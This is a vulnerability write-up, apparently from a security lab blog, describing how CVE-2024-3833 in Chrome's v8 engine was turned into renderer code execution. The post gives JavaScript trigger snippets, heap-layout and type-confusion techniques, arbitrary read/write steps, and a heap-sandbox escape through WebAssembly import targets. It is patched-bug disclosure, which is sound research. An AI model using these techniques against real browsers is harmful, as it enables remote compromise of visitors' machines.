Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties
In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.
In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that I reported in March 2024 as bug 331383939. A similar bug, 331358160, was also reported and was assigned CVE-2024-3832. Both of these bugs were fixed in version 124.0.6367.60/.61. CVE-2024-3833 allows RCE in the renderer sandbox of Chrome by a single visit to a malicious site.
Origin trials in Chrome
New features in Chrome are sometimes rolled out as origin trials features before they are made available in general. When a feature is offered as an origin trial, web developers can register their origins with Chrome, which allows them to use the feature on the registered origin. This allows web developers to test a new feature on their website and provide feedback to Chrome, while keeping the feature disabled on websites that haven’t requested their use. Origin trials are active for a limited amount of time and anyone can register their origin to use a feature from the list of active trials. By registering the origin, the developer is given an origin trial token, which they can include in their website by adding a meta tag: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">
.
The old bug
Usually, origin trials features are enabled before any user Javascript is run. This, however, is not always true. A web page can create the meta tag that contains the trial token programmatically at any time, and Javascript can be executed before the tag is created. In some cases, the code responsible for turning on the specific origin trial feature wrongly assumes that no user Javascript has run before it, which can lead to security issues.
One example was CVE-2021-30561, reported by Sergei Glazunov of Google Project Zero. In that case, the WebAssembly Exception Handling feature would create an Exception
property in the Javascript WebAssembly
object when the origin trial token was detected.
let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created
In particular, the code that creates the Exception
property uses an internal function to create the property, which assumes the Exception
property does not exist in the WebAssembly
object. If the user created the Exception
property prior to activating the trial, then Chrome would try to create another Exception
property in WebAssembly
. This could produce two duplicated Exception
properties in WebAssembly
with different values. This can then be used to cause type confusion in the Exception
property, which can then be exploited to gain RCE.
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Exception property
...
What actually happens with CVE-2021-30561 is more complicated because the code that enables the WebAssembly Exception Handling feature does check to make sure that the WebAssembly
object does not already contain a property named Exception
. The check used there, however, is not sufficient and is bypassed in CVE-2021-30561 by using the Javascript Proxy
object. For details of how this bypass and exploit works, I’ll refer readers to look at the original bug ticket, which contains all the details.
Another day, another bypass
Javascript Promise Integration is a WebAssembly feature that is currently in an origin trial (until October 29, 2024). Similar to the WebAssembly Exception Handling feature, it defines properties on the WebAssembly
object when an origin trial token is detected by calling InstallConditionalFeatures
:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// Install JSPI-related features.
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //<--- 1.
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}
// Install Wasm type reflection features (if not already done).
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //<--- 2.
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}
When adding the Javascript Promise Integration (JSPI), The code above checks whether webassembly
already has the properties Suspender
and Function
(1. and 2. in the above), if not, it’ll create these properties using InstallSuspenderConstructor
and InstallTypeReflection
respectively. The function InstallSuspenderConstructor
uses InstallConstructorFunc
to create the Suspender
property on the WebAssembly
object:
void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //<--- 3.
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}
The problem is, in InstallSuspenderConstructor
, the WebAssembly
object comes from the wasm_webassembly_object
property of context
(3. in the above), while the WebAssembly
object that is checked in InstallConditionalFeatures
comes from the property WebAssembly
of the global object (which is the same as the global WebAssembly
variable):
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// If some fuzzer decided to make the global object non-extensible, then
// we can't install any features (and would CHECK-fail if we tried).
if (!global->map()->is_extensible()) return;
MaybeHandle
The global WebAssembly variable can be changed to any user defined object by using Javascript:
WebAssembly = {}; //<---- changes the WebAssembly global variable
While this changes the value of WebAssembly
, the wasm_webassembly_object
cached in context
is not affected. It is therefore possible to first define a Suspender
property on the WebAssembly
object, then set the WebAssembly
variable to a different object and then activate the Javascript Promise Integration
origin trial to create a duplicate Suspender
in the original WebAssembly
object:
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);
When the origin trial is triggered, InstallConditionalFeatures
first checks that the Suspender
property is absent from the WebAssembly
global variable (which is newWebAssembly
in the above). It then proceeds to create the Suspender
property in context->wasm_webassembly_object
(which is oldWebAssembly
in the above). Doing so creates a duplicate Suspender
property in oldWebAssembly
, much like what happened in CVE-2021-30561.
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061
This causes oldWebAssembly
to have 2 Suspender
properties that are stored at different offsets. I reported this issue as 331358160 and it was assigned CVE-2024-3832.
The function InstallTypeReflection
suffers a similar problem but have some extra issues:
void WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);
#define INSTANCE_PROTO_HANDLE(Name) \
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", //<--- 1.
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}
The function InstallTypeReflection
also defines a type
property in various other objects. For example, in 1., the property type
is created in the prototype
object of the wasm_tag_constructor
, without checking whether the property already existed:
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<--- creates duplicate type property on x
This then allows duplicate type
properties to be created on WebAssembly.Tag.prototype
. This issue was reported as 331383939 and was assigned CVE-2024-3833.
A new exploit
The exploit for CVE-2021-30561 relies on creating duplicate properties of “fast objects.” In v8, fast objects store their properties in an array (some properties are also stored inside the object itself). However, a hardening patch has since landed, which checks for duplicates when adding properties to a fast object. As such, it is no longer possible to create fast objects with duplicate properties.
It is, however, still possible to use the bug to create duplicate properties in “dictionary objects.” In v8, property dictionaries are implemented as NameDictionary
. The underlying storage of a NameDictionary
is implemented as an array, with each element being a tuple of the form (Key, Value, Attribute)
, where Key
is the name of the property. When adding a property to the NameDictionary
, the next free entry in the array is used to store this new tuple. With the bug, it is possible to create different entries in the property dictionary with a duplicate Key
. In the report of CVE-2023-2935, Sergei Glazunov showed how to exploit the duplicate property primitive with dictionary objects. This, however, relies on being able to create the duplicate property as an AccessorInfo
property, which is a special kind of property in v8 that is normally reserved for builtin objects. This, again, is not possible in the current case. So, I need to find a new way to exploit this issue.
The idea is to look for some internal functions or optimizations that will go through all the properties of an object, but not expect properties to be duplicated. One such optimization that comes to mind is object cloning.
Attack of the clones
When an object is copied using the spread syntax, a shallow copy of the original object is created:
const clonedObj = { ...obj1 };
In v8, this is implemented as the CloneObject bytecode:
0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]
When a function containing the bytecode is first run, inline cache code is generated and used to handle the bytecode in subsequent calls. While handling the bytecode, the inline cache code will also collect information about the input object (obj1
) and generate optimized inline cache handlers for inputs of the same type. When the inline cache code is first run, there is no information about previous input objects, and no cached handler is available. As a result, an inline cache miss is detected and CloneObjectIC_Miss
is used to handle the bytecode. To understand how the CloneObject
inline cache works and how it is relevant to the exploit, I’ll recap some basics in object types and properties in v8. Javascript objects in v8 store a map
field that specifies the type of the object, and, in particular, it specifies how properties are stored in the object:
x = { a : 1};
x.b = 1;
%DebugPrint(x);
The output of %DebugPrint
is as follows:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1
We see that x
has two properties—one is stored in the object (a
) and the other stored in a PropertyArray
. Note that the length of the PropertyArray
is 3
(PropertyArray[3]
), while only one property is stored in the PropertyArray
. The length
of a PropertyArray
is like the capacity of a std::vector
in C++. Having a slightly bigger capacity avoids having to extend and reallocate the PropertyArray
every time a new property is added to the object.
The map
of the object uses the fields inobject_properties
and unused_property_fields
to indicate how many properties are stored in the object and how much space is left in the PropertyArray
. In this case, we have 2
free spaces (3 (PropertyArray length) - 1 (property in the array) = 2
).
0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...
When a cache miss happens, CloneObjectIC_Miss
first tries to determine whether the result of the clone (the target
) can use the same map as the original object (the source
) by examining the map
of the source
object using GetCloneModeForMap
(1. in the following):
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle
The case that is relevant to us is the FastCloneObjectMode::kDifferentMap
mode.
case FastCloneObjectMode::kDifferentMap: {
Handle
In this mode, a shallow copy of the source
object is first made via the slow path (1. in the above). The handler of the inline cache is then encoded as a pair of maps consisting of the map for the source
and target
objects respectively (2. in the above).
From now on, if another object with the source_map
is being cloned, the inline cache handler is used to clone the object. Essentially, the source
object is copied as follows:
-
Make a copy of the PropertyArray of the
source
object:TNode source_property_array = CAST(source_properties); TNode length = LoadPropertyArrayLength(source_property_array); GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object); TNode property_array = AllocatePropertyArray(length); FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length); CopyPropertyArrayValues(source_property_array, property_array, length, SKIP_WRITE_BARRIER, DestroySource::kNo); var_properties = property_array;
-
Allocate the target object and use
result_map
as its map.TNode object = UncheckedCast(AllocateJSObjectFromMap( result_map.value(), var_properties.value(), var_elements.value(), AllocationFlag::kNone, SlackTrackingMode::kDontInitializeInObjectProperties));
-
Copy the in-object properties from
source
totarget
.BuildFastLoop( result_start, result_size, [=](TNode field_index) { ... StoreObjectFieldNoWriteBarrier(object, result_offset, field); }, 1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
What happens if I try to clone an object that has a duplicated property? When the code is first run, CloneObjectSlowPath
is called to allocate the target
object, and then copy each property from the source
to target
. However, the code in CloneObjectSlowPath
handles duplicate properties properly, so when the duplicated property in source
is encountered, instead of creating a duplicate property in target
, the existing property is overwritten instead. For example, if my source
object has this following layout:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745
Which has a PropertyArray
of length 4
, with a duplicated type
as the last property in the PropertyArray
. The target
resulting from cloning this object will have the first type
property overwritten:
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9
Note that the target
has a PropertyArray
of length
3
and also three properties in the PropertyArray
(properties #a4..#a6
, which have location
in properties
) In particular, there is no unused_property_fields
in the target
object:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
While this may look like a setback as the duplicated property does not get propagated to the target
object, the real magic happens when the inline cache handler takes over. Remember that, when cloning with the inline cache handler, the resulting object has the same map
as the target
object from CloneObjectSlowPath
, while the PropertyArray
is a copy of the PropertyArray
of the source
object. That means the clone target
from inline cache handler has the following property layout:
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9
Note that it has a PropertyArray
of length
4
, but only three properties in the array, leaving one unused property. However, its map
is the same as the one used by CloneObjectSlowPath
(0x38ea003978b9
), which has no unused_property_fields
:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
So, instead of getting an object with a duplicated property, I end up with an object that has an inconsistent unused_property_fields
and PropertyArray
. Now, if I add a new property to this object, a new map
will be created to reflect the new property layout of the object. This new map
has an unused_property_fields
based on the old map
, which is calculated in AccountAddedPropertyField
. Essentially, if the old unused_property_fields
is positive, this decreases the unused_property_fields
by one to account for the new property being added. And if the old unused_property_fields
is zero, then the new unused_property_fields
is set to two, accounting for the fact that the PropertyArray
is full and has to be extended.
On the other hand, the decision to extend the PropertyArray
is based on its length
rather than unused_property_fields
of the map
:
void MigrateFastToFast(Isolate* isolate, Handle object,
Handle
So, if I have an object that has zero unused_property_fields
but a space left in the PropertyArray
, (that is, length = existing_property_number + 1
) then the PropertyArray
will not be extended when I add a new property. So, after adding a new property, the PropertyArray
will be full. However, as mentioned before, unused_property_fields
is updated independently and it will be set to two as if the PropertyArray
is extended:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749
This is important because the JIT compiler of v8, TurboFan, uses unused_property_fields
to decide whether PropertyArray
needs to be extended:
JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
So, by adding new properties to an object with two unused_property_fields
and a full PropertyArray
via JIT, I’ll be able to write to PropertyArray
out-of-bounds (OOB) and overwrite whatever that is allocated after it.
Creating a fast object with duplicate properties
In order to cause the OOB write in PropertyArray
, I first need to create a fast object with duplicate properties. As mentioned before, a hardening patch has introduced a check for duplicates when adding properties to a fast object, and I therefore cannot create a fast object with duplicate properties directly. The solution is to first create a dictionary object with duplicate properties using the bug, and then change the object into a fast object. To do so, I’ll use WebAssembly.Tag.prototype
to trigger the bug:
var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...
Once I’ve got a dictionary object with a duplicated property, I can change it to a fast object by using MakePrototypesFast
, which can be triggered via property access:
var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;
By making x
to be the prototype of an object y
and then accessing a property of y
, MakePrototypesFast
is called to change x
into a fast object with duplicate properties. After this, I can clone x
to trigger an OOB write in the PropertyArray
.
Exploiting OOB write in PropertyArray
To exploit the OOB write in the PropertyArray
, let’s first check and see what is allocated after the PropertyArray
. Recall that the PropertyArray
is allocated in the inline cache handler. From the handler code, I can see that PropertyArray
is allocated right before the target
object is allocated:
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //<--- property_array allocated
...
var_properties = property_array;
}
Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //<--- target object allocated
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
As v8 allocates objects linearly, an OOB write therefore allows me to alter the internal fields of the target
object. To exploit this bug, I’ll overwrite the second field of the target
object, the properties
field, which stores the address of the PropertyArray
for the target
object. This involves creating JIT functions to add two properties to the target
object.
a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);
When storing the property a8
to the corrupted object obj
that has inconsistent PropertyArray
and unused_property_fields
, an OOB write to the PropertyArray
will overwrite PropertyArray
of obj
with the Javascript object a8
. This can then be exploited by carefully arranging objects in the v8 heap. As the objects are allocated in the v8 heap linearly, the heap can easily be arranged by allocating objects in order. For example, in the following code:
var a8 = {c : 1};
var a7 = [1,2];
The v8 heap around the object a8
looks as follows:
The left hand side shows the objects a8
and a7
. The fields map
, properties,
and elements
are internal fields in the C++ objects that correspond to the Javascript objects. The right hand side represents the view of the memory as the PropertyArray
of obj
(when the PropertyArray
of obj
is set to the address of a8
). A PropertyArray
has two internal fields, map
and length
. When the object a8
is type-confused with a PropertyArray
, its properties
field, which is the address of its PropertyArray
, is interpreted as the length
of the PropertyArray
of obj
. As an address is usually a large number, this allows further OOB read and write to the PropertyArray
of obj
.
A property, ai+3
in the PropertyArray
is going to align with the length
field of the Array
a7
. By writing this property, the length
of the Array
a7
can be overwritten. This allows me to achieve an OOB write in a Javascript array, which can be exploited in a standard way. However, in order to overwrite the length
field, I must keep adding properties to obj
until I reach the length
field. This, unfortunately, means that I will also overwrite the map
, properties
and elements
fields, which will ruin the Array
a7
.
To avoid overwriting the internal fields of a7
, I’ll instead create a7
so that its PropertyArray
is allocated before it. This can be achieved by creating a7
with cloning:
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);
The object obj0
has five fields, with the last one, c4
stored in the PropertyArray
:
DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d
When cloning obj0
using the inline cache handler in the function clone0
, recall that the PropertyArray
of the target
object (a7
in this case) is allocated first, and therefore the PropertyArray
of a7
will be allocated right after the object a8
, but before a7
:
//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
- properties: 0x00ad0004a829
- All own properties (excluding elements): {
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d
As we can see, the address of a8
is 0xad0004a7fd
, while the address of the PropertyArray
of a7
is at 0x00ad0004a829
, and a7
is at 0xad0004a83d
. This leads to the following memory layout:
With this heap layout, I can overwrite the property c4
of a7
by writing to a property ai
in obj
that aligns to c4
. Although map
and length
of the PropertyArray
will also be overwritten, this does not seem to affect property access of a7
. I can then create a type confusion between Javascript Object
and Array
by using optimized property loading in the JIT compiler.
function set_length(x) {
x.c4.len = 1000;
}
When the function set_length
is optimized with a7
as its input
x
, because the property c4
of a7
is an object that has a constant map
(it is always {len : 1}
), the map
of this property is stored in the map
of a7
. The JIT compiler makes use of this information to optimize the property access of x.c4.len
. As long as the map
of x
remains the same as the map
of a7
, x.c4
will have the same map
as {len : 1}
and therefore the property len
of x.c4
can be accessed by using memory offset directly, without checking the map
of x.c4
. However, by using the OOB write in the PropertyArray
to change a7.c4
into a double Array
, corrupted_arr
, the map
of a7
will not change, and the JIT compiled code for set_length
will treat a7.c4
as if it still has the same map
as {len : 1}
, and write directly to the memory offset corresponding to the len
property of a7.c4
. As a7.c4
is now an Array
object, corrupted_arr
, this will overwrite the length
property of corrupted_arr
, which allows me to access corrupted_arr
out-of-bounds. Once an OOB access to corrupted_arr
is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:
- First, place an
Object
Array
aftercorrupted_arr
, and use the OOB read primitive incorrupted_arr
to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object. -
Place another double array,
writeArr
aftercorrupted_arr
, and use the OOB write primitive incorrupted_arr
to overwrite theelement
field ofwriteArr
to an object address. Accessing the elements ofwriteArr
then allows me to read/write to arbitrary addresses.
Bypassing the v8 heap sandbox
The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed. As the bug was reported soon after the Pwn2Own contest, I decided to check the commits to see if there was any sandbox escape that was patched as a result of the contest. Sure enough, there was a commit that appeared to be fixing a heap sandbox escape, which I assumed was used with an entry to the Pwn2Own contest.
When creating a WebAssembly.Instance
object, objects from Javascript or other WebAssembly modules can be imported and be used in the instance:
const importObject = {
imports: {
imported_func(arg) {
console.log(arg);
},
},
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);
In this case, the imported_func
is imported to the instance and can be called by WebAssembly functions defined in the WebAssembly module that imports them:
(module
(func $i (import "imports" "imported_func") (param i32))
(func (export "exported_func")
i32.const 42
call $i
)
To implement this in v8, when the WebAssembly.Instance
is created, a FixedAddressArray
was used to store addresses of imported functions:
Handle WasmTrustedInstanceData::New(
Isolate* isolate, Handle module_object) {
...
const WasmModule* module = module_object->module();
int num_imported_functions = module->num_imported_functions;
Handle imported_function_targets =
FixedAddressArray::New(isolate, num_imported_functions);
...
Which is then used as the call target when the imported function is called. As this FixedAddressArray
lives in the v8 heap, it can easily be modified once I’ve gained arbitrary read and write primitives in the v8 heap. I can therefore rewrite the imported function targets, so that when an imported function is called in WebAssembly code, it’ll jump to the address of some shell code that I prepared to gain code execution.
In particular, if the imported function is a Javascript Math
function, then some wrapper code is compiled and used as a call target in imported_function_targets
:
bool InstanceBuilder::ProcessImportedFunction(
Handle trusted_instance_data, int import_index,
int func_index, Handle module_name, Handle import_name,
Handle
As the compiled wrapper code is stored in the same rx
region where other WebAssembly code compiled by the Liftoff compiler is stored, I can create WebAssembly functions that store numerical data, and rewrite the imported_function_targets
to jump to the middle of these data so that they get interpreted as code and be executed. The idea is similar to that of JIT spraying, which was a method to bypass the heap sandbox, but has since been patched. As the wrapper code and the WebAssembly code that I compiled are in the same region, the offsets between them can be computed, this allows me to jump precisely to the data in the WebAssembly code that I crafted to execute arbitrary shell code.
The exploit can be found here with some set-up notes.
Conclusion
In this post, I’ve looked at CVE-2024-3833, a bug that allows duplicate properties to be created in a v8 object, which is similar to the bug CVE-2021-30561. While the method to exploit duplicate properties in CVE-2021-30561 is no longer available due to code hardening, I was able to exploit the bug in a different way.
- First transfer the duplicate properties into an inconsistency between an object’s
PropertyArray
and itsmap
. - This then turns into an OOB write of the
PropertyArray
, which I then used to create a type confusion between a JavascriptObject
and a JavascriptArray
. - Once such type confusion is achieved, I can rewrite the
length
of the type confused JavascriptArray
. This then becomes an OOB access in a JavascriptArray
.
Once an OOB access in an Javascript Array
(corrupted_arr
) is achieved, it is fairly standard to turn this into an arbitrary read and write inside the v8 heap. It essentially consists of the following steps:
- First, place an
Object
Array
aftercorrupted_arr
, and use the OOB read primitive incorrupted_arr
to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object. - Place another double array,
writeArr
aftercorrupted_arr
, and use the OOB write primitive incorrupted_arr
to overwrite theelement
field ofwriteArr
to an object address. Accessing the elements ofwriteArr
then allows me to read/write to arbitrary addresses.
As v8 has recently implemented the v8 heap sandbox, getting arbitrary memory read and write in the v8 heap is not sufficient to achieve code execution. In order to achieve code execution, I overwrite jump targets of WebAssembly imported functions, which were stored in the v8 heap. By rewriting the jump targets to locations of shell code, I can execute arbitrary code calling imported functions in a WebAssembly module.
Tags:
Written by
Related posts
Attacking browser extensions
Learn about browser extension security and secure your extensions with the help of CodeQL.
Cybersecurity spotlight on bug bounty researcher @adrianoapj
As we wrap up Cybersecurity Awareness Month, the GitHub Bug Bounty team is excited to feature another spotlight on a talented security researcher who participates in the GitHub Security Bug Bounty Program—@adrianoapj!
Securing the open source supply chain: The essential role of CVEs
Vulnerability data has grown in volume and complexity over the past decade, but open source and programs like the Github Security Lab have helped supply chain security keep pace.